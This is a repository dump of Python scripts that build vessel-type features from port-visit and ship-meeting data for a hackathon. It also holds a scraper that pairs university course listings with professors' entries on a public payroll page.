ports_prec_ids = data['ports_prec_ids']
countries_prec_stats = data['countries_prec_stats']
countries_prec_ids = data['countries_prec_ids']
u,s,v = np.linalg.svd(ports_prec_stats.T.dot(ports_prec_stats))
s_normed = s/np.sum(np.diag(s))
plt.plot(np.cumsum(s_normed))
plt.show()
pca = PCA(n_components=45)
countries_prec_stats_reduced = pca.fit_transform(countries_prec_stats)
np.column_stack((countries_prec_ids,countries_prec_stats_reduced))
pca = PCA(n_components=500)
ports_prec_stats_reduced = pca.fit_transform(ports_prec_stats)
np.column_stack((ports_prec_ids,ports_prec_stats_reduced))
else:
'''
ports,meetings = read_data(data_path)
get_general_stats(ports)
get_general_stats(meetings)
'''
ports_prec_stats, ports_prec_ids = get_ports_precentile(ports)
countries_prec_stats, countries_prec_ids = get_countries_precentile(ports)
#countries_prec_stats_m, countries_prec_ids_m = get_countries_precentile(meetings)
# meetings_duretion_stats = get_general_stats(meetings)
data = {
'countries_prec_stats':countries_prec_stats,
'countries_prec_ids':countries_prec_ids,
'ports_prec_stats':ports_prec_stats,
'ports_prec_ids':ports_prec_ids
}
with open(data_path+'outFeatures.pkl','wb') as wf:
pkl.dump(data,wf)
#np.unique(np.concatenate((countries_prec_ids_p,countries_prec_ids_m)))
'''
if verbose:
meetings_duretion_stats.groupby('ves1_type_min')['ves_type_min', 'duration_mean', 'duration_var', 'duration_median'].hist()
'''
<file_sep>/vessel_type_meetings_corr.py
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
import pickle
data_path = '../Data/'
meetings_labeled = pd.read_csv(data_path+'meetings_train_labeled.csv')
meetings_labeled = meetings_labeled[['ves1_numeric_type','ves2_numeric_type']]
meetings_labeled = meetings_labeled.fillna(-1)
meetings_grouped = meetings_labeled.groupby(['ves1_numeric_type', 'ves2_numeric_type']).size()
mat = meetings_grouped.as_matrix().reshape((7,-1))
mat = mat[:,1:] + mat[:,1:].T # Remove none values and add up ves1 and ves2
mat_absolute = mat
# Absolute matrix
fig = plt.figure()
im = plt.imshow(mat)
plt.ylabel('ves1')
plt.xlabel('ves2')
plt.title('Absolute meetings')
with open('./label_encoder.pkl','rb') as pickle_file:
label_encoder = pickle.load(pickle_file)
string_labels = label_encoder.inverse_transform([0,1,2,3,4,5,6])
plt.xticks(range(len(string_labels)), string_labels)
plt.yticks(range(len(string_labels)), string_labels)
fig.colorbar(im)
# Normalized matrix
mat_normalized = np.array(mat)/(np.sum(mat,axis=1,keepdims=True))
fig = plt.figure()
im = plt.imshow(mat_normalized)
plt.ylabel('ves1')
plt.xlabel('ves2')
plt.title('Normalized meetings')
string_labels = label_encoder.inverse_transform([0,1,2,3,4,5,6])
plt.xticks(range(len(string_labels)), string_labels)
plt.yticks(range(len(string_labels)), string_labels)
fig.colorbar(im)
# Save and export data
with open('./vessel_type_meetings_matrices.pkl','wb') as pickle_matrices:
pickle.dump((mat_absolute, mat_normalized), pickle_matrices)
plt.show()<file_sep>/add_label_to_tables.py
import pandas as pd
from sklearn.preprocessing import LabelEncoder
data_path = '../Data/'
# Read Labels:
labels = pd.read_csv(data_path+'vessels_labels_train.csv')
unique_labels = labels[['type']].drop_duplicates()
label_encoder = LabelEncoder()
label_encoder.fit(unique_labels.as_matrix().squeeze())
numeric_labels = label_encoder.transform(labels[['type']].as_matrix().squeeze())
labels['numeric_type'] = numeric_labels
labels.rename(columns={'vessel_id': 'ves_id'}, inplace=True)
# Read Tables:
# Ports
ports = pd.read_csv(data_path+'port_visits_train.csv')
ports_labeled = ports.merge(labels,on='ves_id',how='left')
ports_labeled.to_csv(data_path+'port_visits_train_labeled.csv')
# Meetings
# Vessel1:
labels.rename(columns={'ves_id': 'ves_id1',
'type': 'ves1_type',
'numeric_type': 'ves1_numeric_type'}, inplace=True)
meetings = pd.read_csv(data_path+'meetings_train.csv')
meetings_labeled = meetings.merge(labels,on='ves_id1',how='left')
# Vessel2:
labels.rename(columns={'ves_id1': 'ves_id2',
'ves1_type': 'ves2_type',
'ves1_numeric_type': 'ves2_numeric_type'}, inplace=True)
meetings_labeled = meetings_labeled.merge(labels,on='ves_id2',how='left')
meetings_labeled.to_csv(data_path+'meetings_train_labeled.csv')
<file_sep>/LocalTimeZone.py
import geonames
import numpy as np
from datetime import datetime
from datetime import tzinfo
from datetime import timedelta
import pytz
from pytz import timezone
import pickle
def fixCoords(lat, lng):
roundby_lat = 1.0 / 60.0
roundby_lng = 1
lat_mod = 90
lng_mod = 180
lat = np.mod(lat + lat_mod, 2 * lat_mod) - lat_mod
lng = np.mod(lng + lng_mod, 2 * lng_mod) - lng_mod
lat = np.floor(lat * roundby_lat) / roundby_lat
lng = np.floor(lng * roundby_lng) / roundby_lng
if lat == lat_mod:
lat -= 1
if lat == -lat_mod:
lat += 1
if lng == lng_mod:
lng -= 1
if lng == -lng_mod:
lng += 1
lat = 0.0
return lat, lng
def timeZoneOffsetFromCoordse(lat, lng):
eps_lng = 0.0001
geonames_client = geonames.GeonamesClient('bobinfoa')
try:
geonames_result = geonames_client.find_timezone({'lat': lat, 'lng': lng})
except:
geonames_result = geonames_client.find_timezone({'lat': lat, 'lng': lng-eps_lng})
timeZoneOffset = geonames_result['gmtOffset']
# timeZoneOffset = geonames_result['dstOffset']
return timeZoneOffset
def timeZoneOffsetFromCoordsSave(data_path, latlngList):
filePath = data_path + 'timeZoneDic.pickle'
timeZoneOffsetDict = {}
i = 0
for (lat, lng) in latlngList:
lat, lng = fixCoords(lat, lng)
if (lat, lng) not in timeZoneOffsetDict.keys():
timeZoneOffset = timeZoneOffsetFromCoordse(lat, lng)
timeZoneOffsetDict[(lat, lng)] = timeZoneOffset
i += 1
with open(filePath, 'wb') as pickleFile:
pickle.dump(timeZoneOffsetDict, pickleFile)
def timeZoneOffsetFromCoordsLoad(data_path):
filePath = data_path + 'timeZoneDic.pickle'
with open(filePath, 'rb') as pickleFile:
timeZoneOffsetDict = pickle.load(pickleFile)
return timeZoneOffsetDict
def convertUtcTimeToLocalTimeFromCoords(utc_dt, lat, lng, fromDict=False, timeZoneOffsetDict=None):
strFormat = '%d-%m-%Y %H:%M:%S'
utc_dt = datetime.strptime(utc_dt, strFormat)
lat, lng = fixCoords(lat, lng)
if fromDict:
timeZoneOffset = timeZoneOffsetDict[lat, lng]
else:
timeZoneOffset = timeZoneOffsetFromCoordse(lat, lng)
new_dt = utc_dt + timedelta(hours=timeZoneOffset)
new_dt = new_dt.strftime(strFormat)
return new_dt
<file_sep>/Flow/FeatureCreation.py
import pandas as pd
import numpy as np
from datetime import *
from sklearn.feature_extraction import DictVectorizer as DV
from itertools import groupby
from operator import itemgetter
def get_general_stats(data):
# meetings statistics
count_per_vessel = data.groupby(['ves_id']).size()
dur_per_vessel = data.groupby(['ves_id'])['duration','ves_type'].agg({'duration_min':['mean','var','median'],'ves_type':'min'})
fix_series_indices(dur_per_vessel)
data['hour']=data['start_time'].apply(lambda x: datetime.strptime(x, "%Y-%m-%d %H:%M:%S").hour)
ves_hour_data = np.array(data[['ves_id','hour','duration']])
unique_ves_id = np.unique(ves_hour_data[:,0])
ves_by_hour = np.zeros([np.size(unique_ves_id),24])
ves_by_hour = np.hstack((np.resize(unique_ves_id,[np.size(unique_ves_id),1]),ves_by_hour))
vec_round = np.vectorize(np.round)
ves_hour_data[:,2] = vec_round(ves_hour_data[:,2]/60)
for row in ves_hour_data:
cur_rows = np.mod(np.arange((row[1]),(row[1]+row[2]+1)),24) + 1
ves_by_hour[ves_by_hour[:,0] == row[0],cur_rows] = ves_by_hour[ves_by_hour[:,0] == row[0],cur_rows] +1
hour_freq=data.groupby(['ves_id', 'hour']).size()
return count_per_vessel,dur_per_vessel,hour_freq,ves_by_hour
def get_ports_precentile(data):
vectorizer = DV(sparse=False)
ports_count_total = data.groupby(['ves_id'])['ves_id'].agg({'total_count':'count'}).reset_index()
ports_count = data.groupby(['ves_id', 'port_name']).size().to_frame().reset_index()
ports_count.columns = ['ves_id', 'port_name','count']
ports_count = ports_count.merge(ports_count_total,on='ves_id',how='left')
ports_count['count_precentile'] = ports_count['count']/ports_count['total_count']
ports_count_cat = vectorizer.fit_transform(ports_count[['port_name']].T.to_dict().values())
count_vec = np.array(ports_count['count_precentile'])
for idx,p in enumerate(ports_count_cat):
ports_count_cat[idx,:]= p*count_vec[idx]
ves_id = np.array(ports_count['ves_id']).reshape((-1,1))
unique_ves = np.unique(ves_id)
ves_count_features = np.zeros((len(unique_ves),ports_count_cat.shape[1]))
for row, vesel_id in enumerate(unique_ves):
ves_count_features[row,:] = np.sum(ports_count_cat[(ves_id==vesel_id).flatten(),:],axis=0,keepdims=True)
return ves_count_features,unique_ves
def get_countries_precentile(data):
vectorizer = DV(sparse=False)
ports_count_total = data.groupby(['ves_id'])['ves_id'].agg({'total_count':'count'}).reset_index()
country_count = data.groupby(['ves_id', 'country']).size().to_frame().reset_index()
country_count.columns = ['ves_id', 'country','count']
country_count = country_count.merge(ports_count_total,on='ves_id',how='left')
country_count['count_precentile'] = country_count['count']/country_count['total_count']
country_count_cat = vectorizer.fit_transform(country_count[['country']].T.to_dict().values())
count_vec = np.array(country_count['count_precentile'])
for idx,c in enumerate(country_count_cat):
country_count_cat[idx,:]= c*count_vec[idx]
ves_id = np.array(country_count['ves_id']).reshape((-1,1))
unique_ves = np.unique(ves_id)
ves_count_features = np.zeros((len(unique_ves),country_count_cat.shape[1]))
for row, vesel_id in enumerate(unique_ves):
ves_count_features[row,:] = np.sum(country_count_cat[(ves_id==vesel_id).flatten(),:],axis=0,keepdims=True)
return ves_count_features,unique_ves
def get_ports_stats(data):
ports_count_total = data.groupby(['ves_id'])['ves_id'].agg({'total_count':'count'}).reset_index()
ports_duration = data.groupby(['ves_id','port_name'])['duration'].sum().to_frame().reset_index()
duration_total = data.groupby(['ves_id'])['duration'].sum().to_frame().reset_index()
duration_total.columns = ['ves_id','duration_total']
ports_duration['duration_precentile'] = ports_duration['duration']/ports_duration['duration_total']
country_count = data.groupby(['ves_id', 'country']).size().to_frame().reset_index()
country_count.columns = ['ves_id', 'country','count']
country_count = country_count.merge(ports_count_total,on='ves_id',how='left')
country_count['count_precentile'] = country_count['count']/country_count['total_count']
country_duration = data.groupby(['ves_id','country'])['duration'].sum().to_frame().reset_index()
country_duration = country_duration.merge(duration_total,on='ves_id',how='left')
country_duration['duration_precentile'] = country_duration['duration']/country_duration['duration_total']
return ports_duration,country_count,country_duration
def fix_series_indices(data):
ind = pd.Index([e[0] + '_' + e[1] for e in data.columns.tolist()])
data.columns = ind
return data
<file_sep>/Dal.py
import pandas as pd
import numpy as np
import DAL
import matplotlib.pyplot as plt
from sklearn.preprocessing import LabelEncoder
from LocalTimeZone import convertUtcTimeToLocalTimeFromCoords
from LocalTimeZone import timeZoneOffsetFromCoordsSave
from LocalTimeZone import timeZoneOffsetFromCoordsLoad
def create_numeric_labels(labels):
unique_labels = labels[['type']].drop_duplicates()
label_encoder = LabelEncoder()
label_encoder.fit(unique_labels.as_matrix().squeeze())
numeric_labels = label_encoder.transform(labels[['type']].as_matrix().squeeze())
labels['numeric_type'] = numeric_labels
return labels
def convertUtcTimeToLocalTime(utc_dt, lats, lngs, timeZoneOffsetDict):
local_time = pd.DataFrame([convertUtcTimeToLocalTimeFromCoords(
currentDt, lat, lng, True, timeZoneOffsetDict) for (currentDt, lat, lng) in zip(np.array(utc_dt),
np.array(lats),
np.array(lngs)
)])
return local_time
def createLocalTime(data_path, df_with_utc_datetime):
timeZoneOffsetDict = timeZoneOffsetFromCoordsLoad(data_path)
df_with_local_datetime = df_with_utc_datetime
df_with_local_datetime['start_time_a'] = convertUtcTimeToLocalTime(df_with_utc_datetime['start_time'],
df_with_utc_datetime['Lat'],
df_with_utc_datetime['Long'],
timeZoneOffsetDict)
return df_with_local_datetime
def read_data(data_path):
# read data and add labels
ports = pd.read_csv(data_path+'port_visits_train.csv')
labels = pd.read_csv(data_path+'vessels_labels_train.csv')
labels = create_numeric_labels(labels)
# add labels to ports
labels.rename(columns={'vessel_id': 'ves_id', 'numeric_type': 'ves_type'}, inplace=True)
ports = ports.merge(labels, on='ves_id', how='left')
ports.rename(columns={'duration_min': 'duration'}, inplace=True)
# add labels to meetings
# Vessel1:
labels.rename(columns={'ves_id': 'ves_id1',
'type': 'ves1_type',
'numeric_type': 'ves1_numeric_type'}, inplace=True)
meetings = pd.read_csv(data_path + 'meetings_train.csv')
meetings = meetings.merge(labels, on='ves_id1', how='left')
labels.rename(columns={'ves_id1': 'ves_id2',
'ves1_type': 'ves2_type',
'ves1_numeric_type': 'ves2_numeric_type'}, inplace=True)
meetings = meetings.merge(labels, on='ves_id2', how='left')
meetings.rename(columns={'ves_id1': 'ves_id', 'ves1_type': 'ves_type', 'duration_min': 'duration'}, inplace=True)
ports = createLocalTime(data_path, ports)
meetings = createLocalTime(data_path, meetings)
return ports, meetings
<file_sep>/Flow/TsurDescriptors.py
import pandas as pd
from sklearn.preprocessing import LabelEncoder
import numpy as np
from datetime import *
def create_numeric_labels(labels):
unique_labels = labels[['type']].drop_duplicates()
label_encoder = LabelEncoder()
label_encoder.fit(unique_labels.as_matrix().squeeze())
numeric_labels = label_encoder.transform(labels[['type']].as_matrix().squeeze())
labels['numeric_type'] = numeric_labels
return labels
def read_data(data_path):
# read data and add labels
ports = pd.read_csv(data_path + 'port_visits_train.csv')
labels = pd.read_csv(data_path + 'vessels_labels_train.csv')
labels = create_numeric_labels(labels)
# add labels to ports
labels.rename(columns={'vessel_id': 'ves_id', 'numeric_type': 'ves_type'}, inplace=True)
ports = ports.merge(labels, on='ves_id', how='left')
ports.rename(columns={'duration_min': 'duration'}, inplace=True)
# add labels to meetings
# Vessel1:
labels.rename(columns={'ves_id': 'ves_id1',
'type': 'ves1_type',
'numeric_type': 'ves1_numeric_type'}, inplace=True)
meetings = pd.read_csv(data_path + 'meetings_train.csv')
meetings = meetings.merge(labels, on='ves_id1', how='left')
labels.rename(columns={'ves_id1': 'ves_id2',
'ves1_type': 'ves2_type',
'ves1_numeric_type': 'ves2_numeric_type'}, inplace=True)
meetings = meetings.merge(labels, on='ves_id2', how='left')
meetings.rename(
columns={'ves_id1': 'ves_id', 'ves1_type': 'ves_type', 'duration_min': 'duration', 'EEZ_name': 'country'},
inplace=True)
tmp = meetings[['ves_id2']].drop_duplicates()
tmp.columns = ['ves_id']
unique_ves_id = pd.concat(
[meetings[['ves_id']].drop_duplicates(), tmp, ports[['ves_id']].drop_duplicates()]).drop_duplicates()
label_encoder_id = LabelEncoder()
label_encoder_id.fit(unique_ves_id.as_matrix().squeeze())
numeric_id = label_encoder_id.transform(ports[['ves_id']].as_matrix().squeeze())
ports['ves_id'] = numeric_id
numeric_id = label_encoder_id.transform(meetings[['ves_id']].as_matrix().squeeze())
meetings['ves_id'] = numeric_id
numeric_id = label_encoder_id.transform(meetings[['ves_id2']].as_matrix().squeeze())
meetings['ves_id2'] = numeric_id
unique_ports = ports[['port_id']].drop_duplicates()
ports['country'] = ports[['country']].fillna('N/A')
ports_countries = ports[['country']].drop_duplicates()
meetings_country = meetings[['country']].drop_duplicates()
unique_countries = pd.concat([ports_countries, meetings_country]).drop_duplicates()
encoded = np.concatenate((unique_ports.as_matrix().squeeze(), unique_countries.as_matrix().squeeze()))
label_encoder = LabelEncoder()
label_encoder.fit(encoded)
numeric_ports = label_encoder.transform(ports[['port_id']].as_matrix().squeeze())
ports['port_id'] = numeric_ports
numeric_countries = label_encoder.transform(ports[['country']].as_matrix().squeeze())
ports['country'] = numeric_countries
numeric_countries = label_encoder.transform(meetings[['country']].as_matrix().squeeze())
meetings['country'] = numeric_countries
# ports['country']=ports[['country']].fillna('N/A')
# unique_countries = ports[['country']].drop_duplicates()
# print(np.where(unique_countries.isnull()))
# label_encoder = LabelEncoder()
# label_encoder.fit(unique_countries.as_matrix().squeeze())
return ports, meetings
ports, meetings = read_data('/home/ubuntu/Downloads/')
b = ports.values[:, 1]
ports['start_time'] = pd.to_datetime(ports.start_time)
__author__ = 'Tsur'
import numpy as np
import pandas as pd
from geopy.distance import vincenty
ports['hour']=ports['start_time'].apply(lambda x: x.hour)
freq = ports.groupby(['ves_id'])['ves_id'].count()
hour_freq=ports.groupby(['ves_id', 'hour']).size()
ports_count = ports.groupby(['ves_id', 'port_id']).size()
country_count=ports.groupby(['ves_id', 'country']).size()
duration_mean=ports.groupby(['ves_id'])['duration'].mean()
duration_by_port=ports.groupby(['ves_id','port_name'])['duration'].sum()
def ship_times(ports):
unique_ids = np.unique(ports.ves_id.values)
# return_table = pd.DataFrame(columns=['ID', 'average_time', 'median_time', 'average_distance', 'median_distance'])
for i, id in enumerate(unique_ids):
stops = ports[ports.ves_id == id]
label=ports[ports.ves_id == id]['ves_type'].unique()[0].astype(int)
stops = stops.sort_values(by='start_time', inplace=False)
locations = [(stops.Long.values[n], stops.Lat.values[n]) for n in range(stops.Long.size)]
time_differences = (stops.start_time.values[1:] - stops.start_time.values[:-1]).astype('timedelta64[h]')
num_of_ports = np.size(np.unique(stops.port_id.values))
num_of_stops = np.size(stops.ves_id.values)
same_port_freq = 1.0*num_of_ports / num_of_stops
if time_differences.size != 0:
average_time = time_differences.mean().astype(int)
median_time = np.median(time_differences).astype(int)
#distance_func = lambda (p1, p2): ((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2)**0.5
# TODO: change distance to vincenty distance!
locations_distances = np.array([(vincenty(locations[n+1], locations[n])).miles for n in range(len(locations)-1)])
#locations_distances = np.asarray([distance_func((locations[n+1], locations[n])) for n in xrange(len(locations)-1)])
average_distance = locations_distances.mean()
median_distances = np.median(locations_distances)
freq_of_port_returns = 1.0*np.sum(locations_distances <= 0.01) /np.size(locations_distances)
else:
average_time = 0
median_time = 0
average_distance = 0
median_distances = 0
freq_of_port_returns = 0
if i == 0:
return_table = np.array([id, freq[id],duration_mean[id],average_time, median_time, average_distance, median_distances,freq_of_port_returns, same_port_freq,label])
else:
return_table = np.vstack((return_table, np.array([id,freq[id],duration_mean[id], average_time, median_time ,average_distance,median_distances, freq_of_port_returns, same_port_freq,label])))
return return_table
ex_features=ship_times(ports);<file_sep>/Flow/MoreDescriptors.py
import numpy as np
from datetime import *
from Dal import read_data
import pandas as pd
'''
def meetings_between_ports(port_visits, all_meetings):
print('Starting meetings_between_ports')
start_timer = time.time()
unique_ids = np.unique(port_visits.ves_id.values)
for i, id in enumerate(unique_ids[:20]):
stops = port_visits[port_visits.ves_id == id]
stops = stops.sort_values(by='start_time', inplace=False)
stops = np.asarray(stops)
num_of_stops = np.size(stops, axis=0)
meetings = np.asarray(all_meetings)
meetings = meetings[np.concatenate((np.where(meetings[:, 0] == id)[0], np.where(meetings[:, 1] == id)[0]))]
sort_indexes = np.argsort(meetings[:, 2])
meetings = meetings[sort_indexes]
meets_nums = np.array([])
meet_distances_from_closest_port = np.array([])
for stop_index, port in enumerate(stops):
start_time = port[1]
start_location = [port[6], port[5]]
if stop_index == num_of_stops-1:
end_time = datetime.now()
stop_location = False
else:
end_time = stops[stop_index+1, 1]
stop_location = [stops[stop_index+1, 6], stops[stop_index+1, 5]]
meetings_between_stops = meetings[np.where(np.array([meetings[:, 2]], dtype='datetime64')[0] > start_time)[0]]
meetings_between_stops = meetings_between_stops[np.where(np.array([meetings_between_stops[:, 2]], dtype='datetime64')[0] < end_time)[0]]
meets_nums = np.append(meets_nums, np.array([np.size(meetings_between_stops, axis=0)]))
meet_distance = []
if stop_index != num_of_stops-1 and np.size(meetings_between_stops) != 0:
distance_from_start = distance(meetings_between_stops[:, 5], meetings_between_stops[:, 4], start_location[0], start_location[1])
distance_from_stop = distance(meetings_between_stops[:, 5], meetings_between_stops[:, 4], stop_location[0], stop_location[1])
meet_distance = np.minimum(distance_from_start, distance_from_stop)
for meet in meetings_between_stops:
distance_func = lambda (p1, p2): ((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2)**0.5
distance_from_start = vincenty((meet[6], meet[5]), start_location)
distance_from_stop = vincenty((meet[6], meet[5]), stop_location)
distance_from_start = distance_func(((meet[5], meet[4]), start_location))
distance_from_stop = distance_func(((meet[5], meet[4]), stop_location))
distance_from_start = distance(meet[5], meet[4], start_location[0], start_location[1])
distance_from_stop = distance(meet[5], meet[4], stop_location[0], stop_location[1])
meet_distance.append(min(distance_from_start, distance_from_stop))
meet_distances_from_closest_port = np.append(meet_distances_from_closest_port, max(meet_distance))
else:
# meet_distances_from_closest_port.append(np.array([0]))
meet_distances_from_closest_port = np.append(meet_distances_from_closest_port, np.array([0]))
average_meets_between_ports = np.mean(meets_nums)
median_meets_between_ports = np.median(meets_nums)
avfrom Dal import read_dataerage_distance_of_furthest_meet = np.mean(meet_distances_from_closest_port)
median_distance_of_furthest_meet = np.median(meet_distances_from_closest_port)
if i == 0:
return_table = np.array([id, average_meets_between_ports, median_meets_between_ports,
average_distance_of_furthest_meet, median_distance_of_furthest_meet])
else:
return_table = np.vstack((return_table, np.array([id, average_meets_between_ports,
median_meets_between_ports, average_distance_of_furthest_meet,
median_distance_of_furthest_meet])))
print('Function took ' + str(time.time() - start_timer) + ' seconds')
return return_table
'''
def distance(lon1, lat1, lon2, lat2):
deglen = 110.25
x = lat1 - lat2
y = (lon1 - lon2) * np.cos(lat2)
return deglen * np.sqrt(np.asarray(np.power(x, 2) + np.power(y, 2), dtype=np.float64))
def meeting_features(sorted_events):
unique_ids = np.unique(sorted_events['ves_id'])
meeting_lon_list = []
meeting_lat_list = []
cur_vesel = None
last_port = np.array([])
mean_freq = np.zeros(unique_ids.shape[0])
mean_min_distance = np.zeros(unique_ids.shape[0])
num_seg = np.zeros(unique_ids.shape[0])
sorted_events_np = np.array(sorted_events[['ves_id','event_type','Long','Lat']])
for idx, row in enumerate(sorted_events_np):
ves = row[0]
if cur_vesel == ves:
if row[1] == 'meeting':
meeting_lon_list.append(row[2])
meeting_lat_list.append(row[3])
else:
cur_port = row[2:4]
if len(meeting_lon_list) > 0:
meeting_lon = np.array(meeting_lon_list)
meeting_lat = np.array(meeting_lat_list)
if last_port.any():
last_dist = distance(meeting_lon, meeting_lat, last_port[0], last_port[1])
max_min_dist = np.max(np.minimum(distance(meeting_lon, meeting_lat, cur_port[0], cur_port[1]),last_dist))
mean_min_distance[unique_ids == ves] = mean_min_distance[unique_ids == ves] + max_min_dist
else:
max_min_dist = np.max(distance(meeting_lon, meeting_lat, cur_port[0], cur_port[1]))
mean_min_distance[unique_ids == ves] = mean_min_distance[unique_ids == ves] + max_min_dist
last_port = cur_port
num_seg[unique_ids == ves] = num_seg[unique_ids == ves] + 1
mean_freq[unique_ids == ves] = mean_freq[unique_ids == ves] + len(meeting_lon_list)
meeting_lon_list = []
meeting_lat_list = []
else:
if cur_vesel:
if last_port.any():
max_min_dist = np.max(distance(meeting_lon, meeting_lat, last_port[0], last_port[1]))
mean_min_distance[unique_ids == cur_vesel] = mean_min_distance[unique_ids == cur_vesel] + max_min_dist
num_seg[unique_ids == cur_vesel] = num_seg[unique_ids == cur_vesel] + 1
mean_freq[unique_ids == cur_vesel] = mean_freq[unique_ids == cur_vesel] + len(meeting_lon)
meeting_lon_list = []
meeting_lat_list = []
if row[1] == 'meeting':
meeting_lon_list.append(row[2])
meeting_lat_list.append(row[3])
last_port = np.array([])
else:
last_port = row[2:4]
cur_vesel = ves
mean_freq = mean_freq/num_seg
mean_min_distance = mean_min_distance/num_seg
features = np.column_stack((unique_ids.reshape((-1,1)),mean_freq.reshape((-1,1))))
features = np.column_stack((features,mean_min_distance.reshape((-1,1))))
return features
data_path = '/home/sivan/Dev/Data/'
ports,meetings,sorted_total_events = read_data(data_path)
features = meeting_features(sorted_total_events)
<file_sep>/features extraction.py
import numpy as np
import os
import pandas as pd
from itertools import groupby
from datetime import *
path_labels=r"/home/ubuntu/Downloads/vessels_labels_train.csv"
path_ports=r"/home/ubuntu/Downloads/port_visits_train.csv"
path_meetings=r"/home/ubuntu/Downloads/meetings_train.csv"
labels=pd.read_csv(path_labels)
ports=pd.read_csv(path_ports)
meetings=pd.read_csv(path_meetings)
ports['hour']=ports['start_time'].apply(lambda x: datetime.strptime(x, "%Y-%m-%d %H:%M:%S").hour)
freq = ports.groupby(['ves_id'])['ves_id'].count()
hour_freq=ports.groupby(['ves_id', 'hour']).size()
ports_count = ports.groupby(['ves_id', 'port_name']).size()
country_count=ports.groupby(['ves_id', 'country']).size()
duration_mean=ports.groupby(['ves_id'])['duration_min'].mean()
duration_by_port=ports.groupby(['ves_id','port_name'])['duration_min'].sum()
<file_sep>/Main.py
from Dal import read_data
from FeatureCreation import *
import pickle as pkl
verbose = False
data_path = '/home/sivan/Dev/Data/'
ports,meetings = read_data(data_path)
ports_prec_stats, ports_prec_ids = get_ports_precentile(ports)
countries_prec_stats_p, countries_prec_ids_p = get_countries_precentile(ports)
countries_prec_stats_m, countries_prec_ids_m = get_countries_precentile(meetings)
# meetings_duretion_stats = get_general_stats(meetings)
data = {
'countries_prec_stats':countries_prec_stats,
'countries_prec_ids':countries_prec_ids,
'ports_prec_stats':ports_prec_stats,
'ports_prec_ids':ports_prec_ids
}
with open(data_path+'outFeatures.pkl','wb') as wf:
pkl.dump(data,wf)
if verbose:
meetings_duretion_stats.groupby('ves1_type_min')['ves_type_min', 'duration_mean', 'duration_var', 'duration_median'].hist()
|
03bfc078de9ef3152d59093d54b88a723b0f317a
|
[
"Python"
] | 15 |
Python
|
drorsimon/DataHack
|
784c7831f70d4974b1615519eda581fdb654e68d
|
e9749dac42119cc26ac7440cf4501376fd7f1b82
|
refs/heads/master
|
<file_sep>public static int balancedSum(List<Integer> arr) {
int i;
int lsum=0,sum=0;
Scanner s= new Scanner(System.in);
int a[]=new int[arr.size()];
for(i=0;i<arr.size();i++)
{
a[i]=s.nextInt();
}
for(i=0;i<arr.size();i++)
{
sum=sum+a[i];
}
for(i=0;i<arr.size();i++)
{
sum=sum-a[i];
if(lsum==sum)
return i;
lsum+=a[i];
}
return -1;
}
}
|
79ab516e981126ec9e0dfb3bbf6518fb476e2dee
|
[
"Java"
] | 1 |
Java
|
Jayashree190/WiproTalentNext2017-2021
|
55c1da4ac779009394016b34d89ff0f619446c0e
|
d2fe0b98e4cf7eb796c7b3052bb7fc09bfdf9dfd
|
refs/heads/master
|
<repo_name>3vilware/SiiauDivec<file_sep>/dataDownloader-Full.py
import sqlite3
import urllib.request
import requests
import pandas
import re
import html
import unicodedata
from bs4 import BeautifulSoup
from decimal import Decimal
from connect import db
cmd = db()
ciclos = ['201310', '201320', '201410', '201420', '201510', '201520', '201610', '201620', '201710'] # ciclos a buscar
secc = ['INCO', 'INNI']
cmd.inicializarDB()
for the_ciclo in ciclos:
for the_sec in secc:
print(the_ciclo,"\t",the_sec)
cucei = "http://consulta.siiau.udg.mx/wco/sspseca.consulta_oferta?ciclop="+the_ciclo+"&cup=D&majrp="+the_sec+"&crsep=&materiap=&horaip=&horafp=&edifp=&aulap=&ordenp=0&mostrarp=1000"
page = urllib.request.urlopen(cucei)
soup = BeautifulSoup(page, "lxml")
datag = soup.find_all("tr", style="background-color:#e5e5e5;")
datag2 = soup.find_all("tr", style="background-color:#FFFFFF;")
items = soup.find_all("td", class_="tdprofesor")
url = "http://192.168.127.12/transd/ptqnomi_responsive.PTQNOMI_D"
flag = 1
limit = 0
bandera = 0
count = 0 #Contador para intercalar entre datag y datag2
if the_ciclo == '201520' and the_sec=="INCO":
dato_usado = 172 #Para saber el "index" de datag que usaremos
dato2_usado = 172 # Igual que arriba pero con datag2
else:
dato_usado = 0 #Para saber el "index" de datag que usaremos
dato2_usado = 0
#for x, h, w in zip(items, datag, datag2):
for x in items:
if(flag == 0):
limit += 0 # Para el limite
if(limit > 4):
break # Rompe el ciclo del limite
flag = 1
getname = re.search(r'([\S]+)\s([\S]+)\,\s([\S]+)', x.string, re.M|re.I) # Obtenemos con regex el nombre del profe
if getname:
if len(getname.group(3)) > 0:
pname = getname.group(3)
else:
pname=""
if len(getname.group(2)) > 0:
pmater = getname.group(2)
else:
pmater=""
if len(getname.group(1)) > 0:
ppater = getname.group(1)
else:
ppater=""
else:
ppater=""
pmater=""
pname=""
finalName = pname+" "+ppater+" "+pmater
p = {"pDepen":"", "pDepenDesc":"",
"pMaterno":pmater,
"pNombre":pname,
"pPaterno":ppater,
"pTabu":"", "p_selMes":"201703", "p_selMonto":"0", "p_selQui":"1"}
resp = requests.post(url, params=p)
newurl = re.sub(r'\%\C3\%91', '%D1', resp.url)
resp = urllib.request.urlopen(newurl)
nomina = BeautifulSoup(resp, "lxml")
el_puesto=""
el_puesto = nomina.find('td', {'data-title': 'PUESTO'})
los_sueldos = nomina.find_all('td', {'data-title': 'SUELDO NETO'})
if los_sueldos:
for y in los_sueldos: # A veces son mas de uno, entonces hacemos un for
valor = float(Decimal(re.sub(r'[^\d.]', '', y.a.string))) # Los convertimos a float (Original era un string)
if el_puesto:
cmd.insertarProfesor([finalName,valor,el_puesto.string,the_sec])
else:
cmd.insertarProfesor([finalName,valor,"Desconocido",the_sec])
if(count % 2 == 0): # Par
print("index dato_usado=",dato_usado)
try:
usar = datag[dato_usado]
except IndexError:
break
dato_usado += 1 # se aumenta en uno para que el siguiente ciclo use el siguiente index
else:
print("index dato2_usado=",dato2_usado)
try:
usar = datag2[dato2_usado]
except IndexError:
break
dato2_usado += 1
count+=1
e = usar.find_all("td", class_="tddatos")
nrc = e[0].string # El primero es nrc
Clave = e[1].string # El segundo la clave
Materia = e[2].string # El tercer la materia
Sec = e[3].string # El cuarto la Sec
cmd.insertarMateria([nrc,finalName,Clave,Materia,Sec,1,1,the_ciclo])
print("\t\t\t",nrc,"\t",Clave,"\t",Materia,"\t",Sec)
else: # Bandera para saltar un td del nombre profe
flag = 0
#
#
cmd.anularRepetidos()
